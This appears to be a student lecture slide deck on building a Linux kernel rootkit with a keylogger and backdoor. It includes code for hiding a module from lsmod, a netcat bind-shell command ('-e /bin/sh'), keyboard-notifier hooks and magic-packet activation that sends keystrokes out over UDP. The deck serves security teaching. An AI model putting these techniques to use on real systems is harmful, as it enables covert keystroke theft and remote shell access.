Rootkit
Rootkit: Keylogger/Backdoor

Clemens Brunner
Michael Fröwis

clemens.brunner@student.uibk.ac.at
michael.froewis@student.uibk.ac.at

January 19, 2016

Outline

Outline

Introduction

- General: Rootkit
  - Software
  - Root privileges
  - Masking existence
- Our tool: Linux kernel rootkit
  - Keylogging
  - Backdoor

Introduction: Kernel Modules

- Kernel Modules
  - No rebuild
  - No reboot
- Example:

```
1  #include <linux/module.h>
2  #include <linux/kernel.h>
3
4  int init_module(void){
5          printk(KERN_INFO "Hello world 1.\n");
6          return 0;
7  }
8  void cleanup_module(void){
9          printk(KERN_INFO "Goodbye world 1.\n");
10 }
11
12 module_init(init_module);
13 module_exit(cleanup_module);
14
15 MODULE_LICENSE("GPL");
```

Outline

Hiding

- Mask existence
  - Kernel modules not visible as a process
- `lsmod`
  - special exported symbol `extern struct module __this_module;`
  - list_del (&(__this_module. list));

```
1   struct module {
2       enum module_state state;
3
4           /* Member of list of modules */
5           struct list_head list;
6
7           /* Unique handle for this module */
8           char name[MODULE_NAME_LEN];
9           ..
10          // skipped for brevity
11  }
```

Backdoor

- Spanning userland process
  - `netcat -l -p 6666 -e /bin/sh`
  - `call_usermodehelper`

backdoor.c

Keylogging

- Linux Kernel provides function
  - Register a struct notifier_block keyboard_notifier
- keyboard_hook gets keycode as input
  - Mapping: Keycode → Character (US)

```
1  #include <linux/keyboard.h>
2
3  static struct notifier_block keyboard_notifier = {
4    .notifier_call = keyboard_hook
5  };
6
7  int keyboard_hook(struct notifier_block *, unsigned long code, void *);
8
9  register_keyboard_notifier(&keyboard_notifier);
```

Networking and Activation

- Magic Packet
  - Ping Request where ID == Code
  - Used codes: 122 - 126
  - Nethook API
- Sending key characters
  - UDP datagram socket

Outline

Livedemo

Demo...

Outline

Summary

- Simple rootkit: easy
- Perfect rootkit: very hard

Bibliography

Dan Goodin.

Gpu-based rootkit and keylogger offer superior stealth and computing power, 2015.

Serge Malenkovich.

Was ist ein rootkit?, 2013.

Morgan Phillips.

How to: Building your own kernel space keylogger, 2014.

Unknown.

How to: Building your own kernel space keylogger, 2010.

Unknown.

Kernelmode rootkits: Part 3, kernel filters, 2014.

Unknown.

Part 1: Stealing keyboard keys for fun profit, 2014.